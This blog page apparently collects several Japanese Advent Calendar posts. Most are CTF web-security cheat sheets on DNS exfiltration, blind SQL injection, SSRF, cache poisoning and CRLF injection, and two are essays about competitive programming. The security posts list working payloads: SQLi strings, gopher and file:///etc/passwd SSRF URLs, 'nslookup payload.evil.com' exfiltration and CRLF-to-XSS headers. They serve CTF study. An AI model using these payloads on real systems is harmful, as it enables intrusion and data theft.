はまやんはまやんはまやん

hamayanhamayan's blog

CTFのWebセキュリティにおけるDNS/ドメインまとめ

この記事はCTFのWebセキュリティ Advent Calendar 2021の13日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

DNS

DNS Rebinding

OOB抽出

  • 表記について
    • リアルワールドバグハンティングではOOB抽出と記載されていた
    • Web上では、OOB ExploitationやらOOB Exfiltrationやら曖昧
  • 手法
      1. SSRFをして抜き出したい情報を掴む
      1. base32エンコードをしてpayloadを作る(URLは英数字しか入れられないからbase32にする)
      1. DNSサーバを用意する evil.com
      1. nslookup payload.evil.comすると、DNS解決をしに行くので、payload込みでevil.comに情報が送られて流出する
  • Lab: Blind OS command injection with out-of-band data exfiltration | Web Security Academy

Subdomain Takeover

tips

CTFのWebセキュリティにおけるサイドチャネル攻撃まとめ(Blind SQL Injection, XSLeak)

この記事はCTFのWebセキュリティ Advent Calendar 2021の12日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

  • サイドチャネル攻撃
    • 「物理的な特性を外部から観察あるいは測定することで情報を取得すること」らしい(Wikipediaより)
    • 自分は間接的な情報を利用することで(正攻法ではない方法で)情報を得ようとすること全般を指して呼んでいるのだが、正しいだろうか?
  • ラクル攻撃
    • ラクル:神託器
    • 違いについてハッキリ理解できてない。サイドチャネル攻撃で使える情報を提供してくれる対象をオラクルと呼んでいたが、サイドチャネル攻撃とオラクル攻撃で分けられているので、ニュアンスが違う?この辺り誰か記事書いて説明して!

Blind SQL Injection

  • Blind SQL Injection | OWASP
    • SQL Injectionの一種で、画面上に結果が表示されていなくても、SQLの実行結果のyes/noによって情報を抜き取るもの。

たぶんlikeを使ったものが一番わかりやすい。

SELECT * FROM users WHERE pass = '[ユーザー入力部分]'

となっているときに' UNION SELECT * FROM users WHERE pass like 'a%と差し込むと、

SELECT * FROM users WHERE pass = '' UNION SELECT * FROM users WHERE pass like 'a%'

となる。こうすると、passwordがaから始めるならレコードが帰ってくることになる。
レコードがあればログイン成功、なければ失敗というシステムであれば、
パスワードがaから始まるならログイン成功
パスワードがaから始まらないならログイン失敗
というオラクルが作れたことになる。これを使って全探索すると、パスワードの全文を特定することができる。 このように実際に結果を取得できなくても、yes/noが判断できるならば情報を抜き出すことのできるテク。

  • いつ使える?
    • 基本的にはSQLiできるなら使える
  • 種類
    • Boolean-based Blind SQLi
      • 上の例で示したようなレスポンスではっきりyes/noが分かるようなもの
      • 色々な種類がある(ログインの成功失敗、HTTPレスポンスコードの違い、エラーの出る出ない、数の増減…)
    • Error-based Blind SQLi
      • 条件がtrueなら意図的にエラーが発生するようなSQL文を書くことで、エラーの発生有無でyes/noを判断する
    • Time-based Blind SQLi
    • Out-of-band
      • ここに書いてあるけど、よくわからない。たぶん応答じゃなくて、どっかにcurlするとかって話だと思う。
  • 参考

Error-based Blind SQL Injection

  • 条件分岐させる
    • IF構文を使う
      • 適当にWHEREの条件にでもif(見たい条件,エラー発生文,エラー未発生文)を書けばいい
      • ' or id = 'admin' and if({md} <= length(pw), (select 1 union select 2), 2) #
    • A or B ここ
      • AがtrueならBは評価されないので、Bにエラーを書いておけばtrueならエラーが出ないようにできる
      • A and Bで逆をしてもいい
      • ({md} <= length(pw) and (select id union select 2))
      • なぜかうまくいかなかったりする。
    • whereに条件を入れて、select内容にエラー発生原因を埋め込む ここ
      • (select exp(1783) where {md} <= length(pw))これをWhereの中にでも入れておく
      • exp(1783)はオーバーフローエラーを引き起こす
    • case when構文を使う
      • case when pw like '0%' then 1 else 9e307*2 endみたいに使う
      • if構文と違ってかっこがいらない
  • エラーを出すには
    • exp(1783)が短い。
    • Subquery returns more than 1 rowエラー
      • (select 1 union select 2) ここ
    • DOUBLE value is out of range in 'XXX'エラー

Time-based Blind SQL Injection

  • Error-based Blind SQL InjectionとSQL文は大差ない。if(条件,sleep(1),0)といった感じ。
    • これをwhereの1つにでも置けばいい。
  • xor(if(now()=sysdate(),sleep(10),0))or
  • MySQL
    • admin ' and (select*from(select(sleep(20)))a)--
    • admin' and IF(1=(SELECT 1 FROM users WHERE Length(pass) = 27),sleep(10),0) #
  • SQL Server
    • if 条件 waitfor delay '00:00:01' else waitfor delay '00:00:00'これをSQL文末尾に置いておけばいい
      • 条件には0 <= (select len(password) from Users where id='admin')のように改めて値は取ってくる必要がある
    • 使ったやつ
      • 'id':f"' or {md} <= (SELECT LENGTH(group_concat(sql)) FROM sqlite_master) --",
      • 'id':f"' or {md} <= (SELECT unicode(substr(group_concat(sql),{i+1},1)) FROM sqlite_master) --",
  • Postgres #query = "select current_database()" -> scpfoundation #query = "array_to_string( ARRAY( (select DISTINCT TABLE_SCHEMA from information_schema.columns) ),',' )" -> public,pg_catalog,information_schema #query = "array_to_string( ARRAY( (select DISTINCT TABLE_NAME from information_schema.columns where TABLE_SCHEMA='public') ),',' )" -> users,experiments #query = "array_to_string( ARRAY( (select DISTINCT COLUMN_NAME from information_schema.columns where TABLE_NAME='users') ),',' )" -> id,name,password,stap #query = "array_to_string( ARRAY( (select name from users) ),',' )" -> glenn,teddy,admin query = "array_to_string( ARRAY( (select password from users) ),',' )" -> 965182,e2ec2b31a377a として、以下で判定
    q = f"Gnomial' AND {md} <= (select length({query})) --"
    q = f"Gnomial' AND {md} <= (select ascii(substring({query},{i+1},1))) --"
  • MongoDB

テク

  • オススメの流れ
    1. lengthを使って攻撃対象の長さを調べる
    2. 各文字について二分探索で答えを見つける
  • 全探索ではなく二分探索による高速化
  • limit句にインジェクションするとき
    • limitの後ろにunionでテーブルを追加することはできないが、攻撃方法はある
    • ラクルとして利用する
      • limit=(CASE WHEN (SELECT ascii(substr(usename, x, 1)) FROM pg_user LIMIT 1) < 99 THEN 1 ELSE 0 END)
      • このようにすることでx文字目のasciiコードが99より小さいなら1要素でてきて、そうでないなら0要素というオラクルになる
    • offsetを併用する
      • limitの後ろはoffsetなら置ける
      • 1 limit ascii(substr((Select version()),x,1))
      • こうすると、x文字目をアスキーコードに変更した番目の要素が得られる
      • なるほど
    • ちなみに
      • substr(string, position, length)
        • positionは1-indexed
      • ascii(string|char) -> int
    • ラクルとして使用したときのソルバ SECCON beginners CTF 2020 writeup - La Vie en Lorse
  • マルチバイト文字やUnicodeを抜き取るとき
    • たまにいじわる問題でASCII文字じゃない文字を抜き取る場合がある
    • この場合はhex関数を噛ませて、' || id = 'admin' && {md} <= length(hex(pw)) #のようにして、hex表現で取ってくる
    • Unicode Converter - Decimal, text, URL, and unicode converter
      • このサイトで戻せば取得できる
  • information_schema.tablesテーブルではorder by table_typeをつけると先頭にユーザーテーブルが来るみたい
    • 注意としてtable_typeは一意ではないので、同じtable_type内での順番はリクエスト毎に不定になる
  • like文を使った賢い戦略(にぶたんの方が多分早いけど、これも捨てがたい)
    • Blind SQL Injection
    • _を使って文字長を特定する(これは必須ではない気がするけど)
    • %[一文字]%というのを候補の文字について行って使われているかを特定する。これによって探索空間を大幅に減らす(賢い!)
    • 先頭からa%みたいに探索していく

Blind SQLi 問題 CTF Writeups

XS-Leak Attack / XS-Search Attack

Blind Regular Expression Injection Attack / XS-Leaks with ReDoS

writeups

CTFのWebセキュリティにおけるCSRF/SSRF

この記事はCTFのWebセキュリティ Advent Calendar 2021の11日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

SSRF

攻撃窓口

狙われる情報

テク

Blind SSRF

ポートスキャンからRCEへ

  1. https://[burp-colab-url]/でBlind SSRFがあるかを確認
  2. プロトコルスキャン
  3. gophar://[burp-colab-url]/のようにプロトコルを変化させて、どのプロトコルが使用可能かを確認する
  4. https以外認めてないことがよくあるので、最初から適当にリダイレクタをかませて確認するのがオススメ
  5. dict://
    • dict://;@:/d:::
    • dict://attacker:11111/
    • dict://127.0.0.1:1337/stats
  6. gopher://
  7. ftp:// ftp://127.0.0.1/
  8. file:// file:///etc/passwd file://\/\/etc/passwd
  9. ldap:// ldap://localhost:11211/%0astats%0aquit
    • ldap://127.0.0.1:389/%0astats%0aquit
    • ldaps:ldapiもある
  10. sftp:// sftp://evil.com:11111/
  11. tftp:// tftp://evil.com:12346/TESTUDPPACKET
  12. netdoc:///etc/passwd
  13. Server-Side Request Forgery (SSRF) & the Cloud Resurgence | AppCheck
    • UNCという手もあるっぽい
  14. ポートスキャン
  15. gopharが使える場合は、それを使ってポートスキャン gophar://127.0.0.1:[post]/
    • ポートが開いているなら早く応答が帰り、そうでないならタイムアウトまで待って応答が返ってくる
  16. デフォルトで、Memcached、Redis、Elasticsearch、MongoDBなどのサービスは認証を必要としない。攻撃者はSSRFでこれらのサービスの一部にアクセスできる
  17. SMTP
  18. 攻撃する
  19. gopharであれば、ポートによってはリバースシェルを仕込める
    • これはgopherはURLの形をとっているが、自由にHTTPリクエストを送信することができるので、色々できてしまう
      • gopher://<host>:<port>/<gopher-path>とやると、host:portにパケットを送れる
      • gopher://localhost:31337/1aaa%0d%0abbb%0d%0acccとやると、localhost:31337に対して、aaa%0d%0abbb%0d%0acccが送れる
      • gopher://localhost:5000/+GET%20/%20HTTP/1.1%0d%0aHost:%20localhost:5000%0d%0a%0d%0aとすれば、localhost:5000へHTTPリクエストを送信可能
    • tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers
    • MySQL (Port-3306)
    • PostgreSQL(Port-5432)
    • FastCGI (Port-9000)
    • Memcached (Port-11211) If stored data is getting De-serialized by:
      * Python
      * Ruby
      * PHP
      
    • Redis (Port-6379)
      • gopher://redis:6379/+GET%20FLAG%0d%0aQUIT%0d%0aとすればFLAGをキーとする値が取れる
    • Zabbix (Port-10050)
    • SMTP (Port-25)
    • Jira (default port-8080)
      • http://jira.company.internal:8080/plugins/servlet/oauth/users/icon-uri?consumerUri=[ssrf-url]
    • Confluence (default port-8090)
      • http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=[ssrf-url]
  20. assetnote/blind-ssrf-chains: An exhaustive list of all the possible ways you can chain your Blind SSRF vulnerability

とても参考になる攻撃例

From blind XXE to root-level file read access – Honoki

いろんな要素を組み合わせてRCEにつなげている。

  • XMLが出力されているエンドポイントではGETをPOSTに変えてxml入力ができるかも
  • XMLが入力できたらSSRFを試してみる
  • もし外部ネットワークへの接続ができない場合でも、SSRF脆弱性のある内部で動いているアプリケーションを経由すると接続できるかも

CSRF

  • CSRFトークン発行APIがキャッシュされていたら同じURLを踏むことでCSRFトークンが流出するかも
  • CSRFトークンが複数箇所で使用されている場合
    • ある場所で発行されたCSRFトークンがすべての場所で共有されている可能性
      • 地点Aで発行されて
  • トークンは使用後にexpireすること
  • OAuthでもCSRFトークンが使われる
  • CSRFトークンは128bits以上のエントロピーのものを使うこと
    • OAuth2.0ではRFCに明記されてる
    • StachExchangeによると、de-facto standardという記事がある
    • Mitre CWE-6のPotential Mitigationsに記載がある
  • CSRFトークンが別のアカウントで作ったものが他でも使えてしまう
  • CSRFトークンを消したらなぜか動かないか?
  • CSRFトークンをデコードしてみよう
  • CSRFトークンが実は静的
  • HTML Injectionで抜き出す
  • CTF

競プロのエコシステムについて

この記事は競技プログラミングを始めたばかりの人に伝えたいことのカレンダー | Advent Calendar 2021の10日目の記事です。

カレンダーを見るとネタ被りをしていたのでテーマを変更しました。
競技プログラミングには色々な要素があり、初めて競プロを始めた方にとっては、どこにどういったものがあって、どういった選択肢があってというのが分かりにくいかもしれません。
明文化されてないものも含めてつらつら書いていけたらなと思います。

エコシステム?

エコシステムと呼ぶのが正しいか分からないが、競技プログラミングというジャンルの元に色々なシステムやコミュニティなどが構築されている。
日本人であれば大体AtCoderから入ると思うのだが、周りにも色々あるのでそのあたりを紹介していくことにする。

エコシステムを構成するグループを紹介して行くことにしよう。

  • コンテストサイト、問題公開サイト
    • やはりコンテストサイトが中心に来ますね
    • 会社がコンテストをやれているというのが既にすごい
  • 就活/転職サイト/検定
    • 昨今はこのあたりにも触れておくべきだろう
  • 年次コンテスト
    • 良いグループ名が思いつかなかったが、毎年開催される有名なコンテストも多く存在する。コンテストサイトでのレーティング同様に、著名なコンテストでの上位入賞も同じくらいの誉がある
  • コミュニティ
    • 競技プログラミングはほぼほぼオンラインで完結するものなので、コミュニティの形成も基本はオンラインである
    • どのような場所にコミュニティが存在しているかを紹介していく
  • 有志による補助的な(もしくは、少し方針の違う目的の)サービス・アプリ
    • 競プロという所から始まって、色々なサービスやアプリケーションが開発されている
    • この辺りの活発さも珍しさの1つ
  • 有志による解説ブログ・サイト
    • 最近はどのコンテストサイトもとりあえず解説はあるので見過ごしてしまいがちだが、アルゴリズム自体の解説や、問題の解説を有志が行っている
    • 最近は少し飽和気味かもしれないが、同じことを書いていても説明によっては分かったり分からなかったりするので、選択肢は多いことだと思っている
  • 書籍
    • 競技プログラミングは要求知識も多く、かつ、それを前提とした問題も多いので書籍を使ってショートカットするのも良いと思う

AtCoderの場合はほとんどがAtCoder Clansに載っているので、そこに載ってなさそうなもの(確認してないけど)やAtCoder以外の部分について書いていくことにしよう。

コンテストサイト、問題公開サイト

AtCoder以外だと、yukicoderやAOJがある。
日本語の問題が充実しすぎて、日本語の問題だけでレッドコーダーになれる気がする。
だが、世界的に見ると競技プログラミングユーザーを最も抱えているのはCodeForcesというサービスである。

はじめての Codeforces 前編 (参加登録〜コンテスト本番) - NoiminのNoise

CodeForcesに出る場合はHackという新しいシステムが追加される。
これはTopCoderという著名なコンテストサイトにも存在するシステムであり、他人のソースコードをよんで、そのソースコードに含まれる間違いを指摘するというのがざっくりとした説明。
ソースコードを書くだけでなく、読んで理解して間違いを探すという更にアドバンスドな能力が要求される。
AtCoderだと見かけないが、とても面白く勉強になるシステムなので、CodeForcesで試してみてほしい。

コンテストサイト、問題公開サイトについて有名どころを以下に並べておく。他にももろもろあるが、思いついた所を羅列しておく。

就活/転職サイト/検定

採用試験でコーディングテストというのが行われたりする。
その延長線上というか、プレテストというか、そういった感覚で就活/転職サイトで使われたりする。
興味があるなら、見てみるのもいいかもしれない。
以下以外にも色々ありそうだが、正直あまり知らない

あと、アルゴリズム実技検定 | AtCoderというのもある。
有用性についてはこれからなのでどうなるかは分からないが、競技プログラミングの延長線上の検定としてはこれが初めてで、かつ、これ以上のものが今後出てくるとは思えない。

年次コンテスト

年次でコンテストを開催している所はいくつかある。
その中には歴史が古く競技プログラミング界で権威のあるコンテストも多い。
知らないと目指しようもないと思うので、羅列しておく。
開催時期もものによっては年齢制限もあるので、詳しく調べてみよう。

以下がなんか企業がやってる感じがない大会。特に上2つに権威を感じる。

これからが企業がやってる権威がある大会。Tシャツももらえたりするので、気軽にチャレンジしよう。

コミュニティ

競技プログラミングのコミュニティはインターネット上にあるのでとてもオープンである。
チラ見して楽しむも良し、積極的に参加するも良し。

  • (2) AtCoder TLさん (@atcoder_tl) / Twitter Twitterで強い人や仲間を探したいときはここのリストが役に立つだろう
  • AtCoder Clans このサイトにQ&AサービスやDiscordチャンネルが詳解されている
  • Top - Codeforces CodeForcesには記事投稿の機能があり、色々な告知や議論がなされている。例えば、TopCoder Openの解法の議論がここでされたりもしているので、覗いてみるといい。
  • TopCoderにもフォーラムがあったはず。(日本ではフォーラムって文化が廃れちゃったよね…)

有志による補助的な(もしくは、少し方針の違う目的の)サービス・アプリ

沢山あるので、紹介しきれないよね…

AtCoder Clans

ここでとりあえず探せばいいと思う。
どのようなコンテストサイトにも問題埋めの補助サイト、AtCoderで言う所のAtCoder Problemsがあったりするので探してみると合致するサービスがあるかも。
コンテスト探しは、CLISTをとりあえず見ておけば大丈夫だと思う。

有志による解説ブログ・サイト

全部紹介はしきれないので、探し方を説明するに留めることにする。
大体の有志解説サイトは問題名を題名にしているので「AtCoder 問題名」とか「問題名 解説」とかでググると公式解説以外の有志の解説を見つけることができるかもしれない。
公式解説で納得できない場合は野良サイトの解説を探してみよう。
あとは、Twitterでコンテスト終了後に解法を短文でつぶやいている人もいるので、コンテスト終了時間を狙ってTwitterを巡回することでも解説をかき集めることができるだろう。

アルゴリズムが分からない場合は「アルゴリズム競技プログラミング」みたいに検索すると色々出てくるかも。
最近は「アルゴリズムAtCoder」でもいい感じに出てくるかも。
かなりたくさんあるので適当にググっても出てくると思う。

書籍

競技プログラミング 本 - Google 検索

本当にたくさん本があってすごいですね…
全部読んだ訳ではないし、どの本も良いのだが、このAdvent Calendarのホストの書籍を紹介しておく。

問題解決力を鍛える!アルゴリズムとデータ構造 (KS情報科学専門書) | 大槻 兼資, 秋葉 拓哉 |本 | 通販 | Amazon

けんちょんさんが主で、秋葉さんが監修という最強の布陣で書かれている。
(今の人は知らないと思うが、秋葉さんは競技プログラミング界のレジェンドの一人)
とても網羅的に書かれており、効率的に知識を身に着けることができるだろう。

終わりに

これで終わりです。

競技プログラミングはいろんな人はいろんなことをやって楽しんでいるんだなということがよく分かりますね。
層が厚いというか、面白い界隈だなと感じます。

あと、参加層が若いという所がまた良い所ですね。
今後もどのように発展していくのか、とても楽しみにしています。

競技プログラミングをやってきた

この記事は競プロ Advent Calendar 2021の10日目の記事です。

長年、競技プログラミングをやってきた。

気が付けば、最初に競技プログラミングを初めてから既に6年が過ぎていた。
別にこの記事を何らかの区切りにしようとか、そういった意図はないのだが、振り返るには良い時期なのかもしれない。

2015年 競技プログラミングに出会う

研究室に入ったタイミングで競技プログラミングの勧誘を受けた。これが競技プログラミングとの出会いである。思い出というのはいつまでも覚えているもので、金沢市内にあるカレー屋でのことだった(もう既に閉店している)。先輩方から「IPCPに出てみないか」と言われたのを鮮明に覚えている。実はこの研修室には競プロの有名人が在籍しており、その人のおかげで研究室には競技プログラミングの流れがあった。本当に奇跡的であり、感謝しきれない。今も色々すごいことをしているすごい人なのだが、ハンドル名を出していいか分からないので出さないでおく。本人から出していいよと言われたら出す。最初のICPCは正直どんな感じだったかよく覚えていない。覚えていないのだが、ICPCの国内予選に落ちたことと、先輩にかなり失礼な発言をしたことは覚えている。(今になって反省はしています)ICPCの国内予選に落選して、競技プログラミングに火が付いたというか、来年のICPCが目標となったことは間違いない。

2016年 ICPCを目指して

この年はICPCの本選に行くことができた。ギリギリで予選通過して、とても盛り上がったのを覚えている。本線では賞をもらうこともでき、とてもいい思い出となった。ブログを振り返ってみると2016-03-29が最初の解説投稿だったようだ。当時はAOJ(Aizu Online Judge)やyukicoder、CodeForcesといった解説が無いか薄いものに対して解説を書いていたように思う。どういったモチベーションで書き始めたかは正直覚えていないが、kmjpさんのブログをよく見ており、その真似を始めたことが始まりであることは覚えている。

kmjp's blog

kmjpさんは自分のヒーローの一人であり、競プロ解説ブロガーのキングである。自分よりも長く、そして扱う問題は難しいという完全上位互換で、かつ、まだまだ走り続けている競プロerである。2016年のおわり頃からまとめ記事の公開を始めた。元々、まとめ作業は行っていて、公開予定も無かったのだが、手元で腐らせておくのも持っていないので、雑に公開することにした。

2017年 まとめる日々

修士2年になった。研究しろという話なのだが、この頃から段々まとめ作成に力が入ってくる。(研究はしてましたよ?)競プロを初めて既に2年が経過していたが、まだまだ学習することは多かった。大量にまとめを作成していたが、このほとんどは自分の学習用だった。まとめを作ることで界隈に少しでも貢献できるし、学習もできるということで一石二鳥くらいのモチベーションでやっていた。この時が一番競プロをやっていた楽しい時期だったかもしれない。新しく得られる知識に喜びを感じ、アルゴリズムの面白さを実感していた。この時代にも自分のヒーローがいる。最近の人は知らないかもしれないがantaさんである。

あんたさん (@anta_prg) / Twitter

数少ないTopCoderのTargetであり、アルゴリズムとデータ構造の強者である。鮮明に覚えているのが、CodeForcesでantaさんが優勝した回である。誰も解いていない問題を想定解ではなく、どこかの論文から拾ってきた謎のデータ構造を使って爆速で解いていた。知識で殴るとはこのことであり、卓越した知識量を持ってすればTargetになれるんだなと思った記憶がある。

2018年、2019年 社会人になって

社会人になってしまった。まとめも一段落したが、解説は続けていた。何をモチベーションに続けていたのかは全く覚えていないのだが、まだまとめる内容も微妙にあったし、知らないテクニックを少しはあったので、やっていて身になる感じがあった。この頃を振り返ってみると、競プロ解説界に2大巨頭がやってきた時期だったようだ。けんちょんさんとbetrue12さんである。

けんちょんの競プロ精進記録
ARMERIA

どちらも解説が丁寧で、普通に読者として楽しんで見ていた。この2人は書籍執筆という金字塔を後々成し遂げるのだが…まあ、それはこれを読んでいる人なら皆知っているだろう。このくらいから競技プログラミング能力の限界を感じてくる。時間的余裕もなく、かといって地頭があるわけでもないので、レーティングの限界を感じていた。だが、レーティングはそこそこあったので、もう余生は後続育成というか解説を書くことで界隈に貢献できればいいかなくらいのモチベーションになっていた。

2020年、2021年 晩年

社会人3年目。このあたりから競プロにフルコミットするのがきつくなってくる。色々忙しくなってきて、すべてのコンテストに出られなくなってきたというのと、ちょっとずつCTFに時間をとられ始め、AtCoderしか出なくなってきた。この年って俺は何をしてたんだろう。何に打ち込んで何を考えて何をしていたのか全く覚えていない。多分頑張って仕事してたんでしょう。とりあえず、セキュリティが面白くなり、転職。セキュリティばっかりやっているようになる。転職後も競技プログラミングの解説は続けていたが、かなり最小限の力量でやっていた。CTFの解説も増えてきて、競技プログラミングからは少し…離れてきたかもなぁ…セキュリティもとても面白いです。振り返ってみると、ここ2年間くらいは何もしてない感があるが、競技プログラミングから引退みたいには思ってないし、引退表明するほどの実力もない。気が向いたらやるくらいだろうけど、どういう付き合い方になってくんだろう。

さいごに

競技プログラミング界隈からもらったことは沢山あり、特に地方いた自分にとってはかなりの刺激になった。世界の広さを垣間見れる瞬間であり、今後もなるべく続けていきたいが…わからないですね。 正直自分は競技プログラミングのレーティングの世界からはドロップアウトした人間で、解説側にシフトしていった面もあります。競技プログラミングは楽しいけれど、レーティングはつらいという方は解説を広く行うことで界隈に貢献しようという生き方もいいのかなという一例でした。

よくよく見返すと勢いで書いてしまって、かなり痛々しい記事になっちゃった…ちょっと早いですが、良いお年を。

CTFのWebセキュリティにおけるWebサーバー/インフラまとめ(Apache, nginx, IIS, CDN/Cache, CGI, Docker/Kubernetes)

この記事はCTFのWebセキュリティ Advent Calendar 2021の10日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

インフラ回り

Webセキュリティではインフラ回りも理解している必要がある。
「ブラウザ -> リバースプロキシ -> アプリ」みたいな構造が分かってないと解けない問題も多くある。

apache

関連パス

  • URL
  • ホストディレクト
    • /etc/apache2/conf-available/fqdn.conf ここに「ServerName ホスト名」でホスト名が記載されている
    • /etc/apache2/sites-enabled/000-default.conf 設定が書いてある

.htaccess

  • インデックスファイルがないときのファイル一覧機能は無効化しておくこと
    • Options -Indexes
  • エラー時に出るファイルを指定することも効果的
    • DirectoryIndex index.html /errmsg.html
  • アクセス制限をかけたいとき
  • バーチャルホスト
    • writeups/2020/asis_ctf/Less secure secrets at master · Red-Knights-CTF/writeups · GitHub
      • リバースプロキシとして使っているっぽく見える
      • RequestHeaderをつけると、許可するヘッダーになる
      • <if "%{REMOTE_ADDR} != '127.0.0.1'">で内部じゃなかったら…としている。以下で表示を抑制
        • AddOutputFilterByType INFLATE;SUBSTITUTE;DEFLATE text/html
        • Substitute s|<secret>(.*)</secret>|Protected|i
      • Range: bytes=785-808をすると応答する部分が限られることで、Substituteでの置き換えができなくなるようにできる

キャッシュ

  • Web Cache Poisoning キャッシュを汚染して被害者に悪意あるコンテンツを踏ませる
    • Web Cache Posoningできれば、Reflected XSS, Host Header XSS, User-Agent XSSのようなSelf XSSをStored XSSにできる
    • Practical Web Cache Poisoning | PortSwigger Research
      • X-Forwarded-Host: a."><script>alert(1)</script>をつけると、<meta property="og:image" content="https://a."><script>alert(1)</script>"/>のようにXSS
      • これでキャッシュが残っていれば、X-Forwarded-Hostはキャッシュキーに入らないので、キャッシュされたXSS応答が返る
  • 操作時に重要なこと、キャッシュキーの操作
    • Cache Key なにをキーとしてキャッシュを保存するか
      • protocol|method|host|/path?key=valueでキャッシュキーとするhttps|GET|example.com|/api/help?lang=en
      • キャッシュサーバによってはX-Original-URL: /adminのようにすることでキャッシュキーをこっちに差し替えることができる
    • キャッシュキーで使われない部分を利用して悪さをする
  • Web Cache Deception 相手にキャッシュを保存させて、それを読み込むことで情報を抜き出す
  • ESI: Edge Side Includes
    • <esi:XXX>というタグを使ってキャッシュを効率化するものだが、これでXSSが起きたりする

cgi-bin

Shellshock

Docker

Kubernetes

IIS

nginx

CTFのWebセキュリティにおけるCRLF Injection/Header Injection

この記事はCTFのWebセキュリティ Advent Calendar 2021の9日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

CRLF Injection

事例

payloads

  • なぜかよく見かける直下からCRLF
    • curl -s -L -I "http://subdomain.example/%0aSet-Cookie:crlf=injection;domain=example.com" -c cookie-monster
  • CRLFからXSS
    • %0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e